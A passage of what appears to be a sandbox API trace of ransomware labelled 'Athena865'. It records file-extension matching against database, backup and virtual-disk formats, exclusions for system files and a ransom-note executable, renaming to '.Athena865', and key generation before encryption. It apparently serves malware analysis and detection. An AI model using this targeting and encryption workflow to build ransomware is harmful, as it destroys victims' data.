lstrlenW (lpString="accft") returned 5 [0129.052] lstrcmpiW (lpString1="7.WMF", lpString2="accft") returned -1 [0129.052] lstrlenW (lpString="adb") returned 3 [0129.052] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.052] lstrlenW (lpString="adb") returned 3 [0129.052] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.052] lstrlenW (lpString="ade") returned 3 [0129.052] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.052] lstrlenW (lpString="adf") returned 3 [0129.052] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.052] lstrlenW (lpString="adn") returned 3 [0129.052] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.052] lstrlenW (lpString="adp") returned 3 [0129.052] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.052] lstrlenW (lpString="alf") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.053] lstrlenW (lpString="ask") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.053] lstrlenW (lpString="btr") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.053] lstrlenW (lpString="cat") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.053] lstrlenW (lpString="cdb") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.053] lstrlenW (lpString="ckp") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.053] lstrlenW (lpString="cma") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.053] lstrlenW (lpString="cpd") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.053] lstrlenW (lpString="dacpac") returned 6 [0129.053] lstrcmpiW (lpString1="57.WMF", lpString2="dacpac") returned -1 [0129.053] lstrlenW (lpString="dad") returned 3 [0129.053] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.053] lstrlenW (lpString="dadiagrams") returned 10 [0129.053] lstrcmpiW (lpString1="240157.WMF", lpString2="dadiagrams") returned -1 [0129.053] lstrlenW (lpString="daschema") returned 8 [0129.053] lstrcmpiW (lpString1="0157.WMF", lpString2="daschema") returned -1 [0129.053] lstrlenW (lpString="db-journal") returned 10 [0129.053] lstrcmpiW (lpString1="240157.WMF", lpString2="db-journal") returned -1 [0129.053] lstrlenW (lpString="db-shm") returned 6 [0129.053] lstrcmpiW (lpString1="57.WMF", lpString2="db-shm") returned -1 [0129.053] lstrlenW (lpString="db-wal") returned 6 [0129.054] lstrcmpiW (lpString1="57.WMF", lpString2="db-wal") returned -1 [0129.054] lstrlenW (lpString="dbc") returned 3 [0129.054] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.054] lstrlenW (lpString="dbs") returned 3 [0129.054] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.054] lstrlenW (lpString="dbt") returned 3 [0129.054] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.054] lstrlenW (lpString="dbv") returned 3 [0129.054] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.054] lstrlenW (lpString="dbx") returned 3 [0129.054] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.054] lstrlenW (lpString="dcb") returned 3 [0129.054] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.054] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.054] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.Athena865") returned 73 [0129.054] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.athena865"), dwFlags=0x1) returned 1 [0129.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.057] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7672) returned 1 [0129.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.057] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.058] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.058] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.058] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2100, lpName=0x0) returned 0x154 [0129.060] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2100) returned 0x100000 [0129.061] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.062] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.062] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.062] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.062] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.063] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.063] CloseHandle (hObject=0x154) returned 1 [0129.063] CloseHandle (hObject=0x17c) returned 1 [0129.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.064] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0129.066] lstrcmpiW (lpString1="J0240175.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2=".") returned 1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="..") returned 1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="windows") returned -1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="bootmgr") returned 1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="temp") returned -1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="pagefile.sys") returned -1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="boot") returned 1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="ids.txt") returned 1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="ntuser.dat") returned -1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="perflogs") returned -1 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2="MSBuild") returned -1 [0129.067] lstrlenW (lpString="J0240175.WMF") returned 12 [0129.067] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0240175.WMF" | out: lpString1="J0240175.WMF") returned="J0240175.WMF" [0129.067] lstrlenW (lpString="J0240175.WMF") returned 12 [0129.067] lstrlenW (lpString="Athena865") returned 9 [0129.067] lstrcmpiW (lpString1="40175.WMF", lpString2="Athena865") returned -1 [0129.067] lstrlenW (lpString=".dll") returned 4 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2=".dll") returned 1 [0129.067] lstrlenW (lpString=".lnk") returned 4 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2=".lnk") returned 1 [0129.067] lstrlenW (lpString=".ini") returned 4 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2=".ini") returned 1 [0129.067] lstrlenW (lpString=".sys") returned 4 [0129.067] lstrcmpiW (lpString1="J0240175.WMF", lpString2=".sys") returned 1 [0129.068] lstrlenW (lpString="J0240175.WMF") returned 12 [0129.068] lstrlenW (lpString="bak") returned 3 [0129.068] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.068] lstrlenW (lpString="ba_") returned 3 [0129.068] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.068] lstrlenW (lpString="dbb") returned 3 [0129.068] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.068] lstrlenW (lpString="vmdk") returned 4 [0129.068] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.068] lstrlenW (lpString="rar") returned 3 [0129.068] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.068] lstrlenW (lpString="zip") returned 3 [0129.068] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.068] lstrlenW (lpString="tgz") returned 3 [0129.068] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.068] lstrlenW (lpString="vbox") returned 4 [0129.068] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.068] lstrlenW (lpString="vdi") returned 3 [0129.068] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.068] lstrlenW (lpString="vhd") returned 3 [0129.068] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.068] lstrlenW (lpString="vhdx") returned 4 [0129.068] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.068] lstrlenW (lpString="avhd") returned 4 [0129.068] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.068] lstrlenW (lpString="db") returned 2 [0129.068] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.069] lstrlenW (lpString="db2") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.069] lstrlenW (lpString="db3") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.069] lstrlenW (lpString="dbf") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.069] lstrlenW (lpString="mdf") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.069] lstrlenW (lpString="mdb") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.069] lstrlenW (lpString="sql") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.069] lstrlenW (lpString="sqlite") returned 6 [0129.069] lstrcmpiW (lpString1="75.WMF", lpString2="sqlite") returned -1 [0129.069] lstrlenW (lpString="sqlite3") returned 7 [0129.069] lstrcmpiW (lpString1="175.WMF", lpString2="sqlite3") returned -1 [0129.069] lstrlenW (lpString="sqlitedb") returned 8 [0129.069] lstrcmpiW (lpString1="0175.WMF", lpString2="sqlitedb") returned -1 [0129.069] lstrlenW (lpString="xml") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.069] lstrlenW (lpString="$er") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.069] lstrlenW (lpString="4dd") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.069] lstrlenW (lpString="4dl") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.069] lstrlenW (lpString="^^^") returned 3 [0129.069] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.070] lstrlenW (lpString="abs") returned 3 [0129.070] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.070] lstrlenW (lpString="abx") returned 3 [0129.070] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.070] lstrlenW (lpString="accdb") returned 5 [0129.070] lstrcmpiW (lpString1="5.WMF", lpString2="accdb") returned -1 [0129.070] lstrlenW (lpString="accdc") returned 5 [0129.070] lstrcmpiW (lpString1="5.WMF", lpString2="accdc") returned -1 [0129.070] lstrlenW (lpString="accde") returned 5 [0129.070] lstrcmpiW (lpString1="5.WMF", lpString2="accde") returned -1 [0129.070] lstrlenW (lpString="accdr") returned 5 [0129.070] lstrcmpiW (lpString1="5.WMF", lpString2="accdr") returned -1 [0129.070] lstrlenW (lpString="accdt") returned 5 [0129.070] lstrcmpiW (lpString1="5.WMF", lpString2="accdt") returned -1 [0129.070] lstrlenW (lpString="accdw") returned 5 [0129.070] lstrcmpiW (lpString1="5.WMF", lpString2="accdw") returned -1 [0129.070] lstrlenW (lpString="accft") returned 5 [0129.070] lstrcmpiW (lpString1="5.WMF", lpString2="accft") returned -1 [0129.070] lstrlenW (lpString="adb") returned 3 [0129.070] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.070] lstrlenW (lpString="adb") returned 3 [0129.070] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.070] lstrlenW (lpString="ade") returned 3 [0129.070] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.070] lstrlenW (lpString="adf") returned 3 [0129.070] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.070] lstrlenW (lpString="adn") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.071] lstrlenW (lpString="adp") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.071] lstrlenW (lpString="alf") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.071] lstrlenW (lpString="ask") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.071] lstrlenW (lpString="btr") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.071] lstrlenW (lpString="cat") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.071] lstrlenW (lpString="cdb") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.071] lstrlenW (lpString="ckp") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.071] lstrlenW (lpString="cma") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.071] lstrlenW (lpString="cpd") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.071] lstrlenW (lpString="dacpac") returned 6 [0129.071] lstrcmpiW (lpString1="75.WMF", lpString2="dacpac") returned -1 [0129.071] lstrlenW (lpString="dad") returned 3 [0129.071] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.071] lstrlenW (lpString="dadiagrams") returned 10 [0129.071] lstrcmpiW (lpString1="240175.WMF", lpString2="dadiagrams") returned -1 [0129.071] lstrlenW (lpString="daschema") returned 8 [0129.071] lstrcmpiW (lpString1="0175.WMF", lpString2="daschema") returned -1 [0129.072] lstrlenW (lpString="db-journal") returned 10 [0129.072] lstrcmpiW (lpString1="240175.WMF", lpString2="db-journal") returned -1 [0129.072] lstrlenW (lpString="db-shm") returned 6 [0129.072] lstrcmpiW (lpString1="75.WMF", lpString2="db-shm") returned -1 [0129.072] lstrlenW (lpString="db-wal") returned 6 [0129.072] lstrcmpiW (lpString1="75.WMF", lpString2="db-wal") returned -1 [0129.072] lstrlenW (lpString="dbc") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.072] lstrlenW (lpString="dbs") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.072] lstrlenW (lpString="dbt") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.072] lstrlenW (lpString="dbv") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.072] lstrlenW (lpString="dbx") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.072] lstrlenW (lpString="dcb") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.072] lstrlenW (lpString="dct") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.072] lstrlenW (lpString="dcx") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.072] lstrlenW (lpString="ddl") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.072] lstrlenW (lpString="dlis") returned 4 [0129.072] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.072] lstrlenW (lpString="dp1") returned 3 [0129.072] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.073] lstrlenW (lpString="dqy") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.073] lstrlenW (lpString="dsk") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.073] lstrlenW (lpString="dsn") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.073] lstrlenW (lpString="dtsx") returned 4 [0129.073] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.073] lstrlenW (lpString="dxl") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.073] lstrlenW (lpString="eco") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.073] lstrlenW (lpString="ecx") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.073] lstrlenW (lpString="edb") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.073] lstrlenW (lpString="epim") returned 4 [0129.073] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.073] lstrlenW (lpString="fcd") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.073] lstrlenW (lpString="fdb") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.073] lstrlenW (lpString="fic") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.073] lstrlenW (lpString="flexolibrary") returned 12 [0129.073] lstrlenW (lpString="fm5") returned 3 [0129.073] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.073] lstrlenW (lpString="fmp") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.074] lstrlenW (lpString="fmp12") returned 5 [0129.074] lstrcmpiW (lpString1="5.WMF", lpString2="fmp12") returned -1 [0129.074] lstrlenW (lpString="fmpsl") returned 5 [0129.074] lstrcmpiW (lpString1="5.WMF", lpString2="fmpsl") returned -1 [0129.074] lstrlenW (lpString="fol") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.074] lstrlenW (lpString="fp3") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.074] lstrlenW (lpString="fp4") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.074] lstrlenW (lpString="fp5") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.074] lstrlenW (lpString="fp7") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.074] lstrlenW (lpString="fpt") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.074] lstrlenW (lpString="frm") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.074] lstrlenW (lpString="gdb") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.074] lstrlenW (lpString="gdb") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.074] lstrlenW (lpString="grdb") returned 4 [0129.074] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.074] lstrlenW (lpString="gwi") returned 3 [0129.074] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.074] lstrlenW (lpString="hdb") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.075] lstrlenW (lpString="his") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.075] lstrlenW (lpString="ib") returned 2 [0129.075] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.075] lstrlenW (lpString="idb") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.075] lstrlenW (lpString="ihx") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.075] lstrlenW (lpString="itdb") returned 4 [0129.075] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.075] lstrlenW (lpString="itw") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.075] lstrlenW (lpString="jet") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.075] lstrlenW (lpString="jtx") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.075] lstrlenW (lpString="kdb") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.075] lstrlenW (lpString="kexi") returned 4 [0129.075] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.075] lstrlenW (lpString="kexic") returned 5 [0129.075] lstrcmpiW (lpString1="5.WMF", lpString2="kexic") returned -1 [0129.075] lstrlenW (lpString="kexis") returned 5 [0129.075] lstrcmpiW (lpString1="5.WMF", lpString2="kexis") returned -1 [0129.075] lstrlenW (lpString="lgc") returned 3 [0129.075] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.076] lstrlenW (lpString="lwx") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.076] lstrlenW (lpString="maf") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.076] lstrlenW (lpString="maq") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.076] lstrlenW (lpString="mar") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.076] lstrlenW (lpString="marshal") returned 7 [0129.076] lstrcmpiW (lpString1="175.WMF", lpString2="marshal") returned -1 [0129.076] lstrlenW (lpString="mas") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.076] lstrlenW (lpString="mav") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.076] lstrlenW (lpString="maw") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.076] lstrlenW (lpString="mdbhtml") returned 7 [0129.076] lstrcmpiW (lpString1="175.WMF", lpString2="mdbhtml") returned -1 [0129.076] lstrlenW (lpString="mdn") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.076] lstrlenW (lpString="mdt") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.076] lstrlenW (lpString="mfd") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.076] lstrlenW (lpString="mpd") returned 3 [0129.076] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.076] lstrlenW (lpString="mrg") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.077] lstrlenW (lpString="mud") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.077] lstrlenW (lpString="mwb") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.077] lstrlenW (lpString="myd") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.077] lstrlenW (lpString="ndf") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.077] lstrlenW (lpString="nnt") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.077] lstrlenW (lpString="nrmlib") returned 6 [0129.077] lstrcmpiW (lpString1="75.WMF", lpString2="nrmlib") returned -1 [0129.077] lstrlenW (lpString="ns2") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.077] lstrlenW (lpString="ns3") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.077] lstrlenW (lpString="ns4") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.077] lstrlenW (lpString="nsf") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.077] lstrlenW (lpString="nv") returned 2 [0129.077] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.077] lstrlenW (lpString="nv2") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.077] lstrlenW (lpString="nwdb") returned 4 [0129.077] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.077] lstrlenW (lpString="nyf") returned 3 [0129.077] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.078] lstrlenW (lpString="odb") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.078] lstrlenW (lpString="odb") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.078] lstrlenW (lpString="oqy") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.078] lstrlenW (lpString="ora") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.078] lstrlenW (lpString="orx") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.078] lstrlenW (lpString="owc") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.078] lstrlenW (lpString="p96") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.078] lstrlenW (lpString="p97") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.078] lstrlenW (lpString="pan") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.078] lstrlenW (lpString="pdb") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.078] lstrlenW 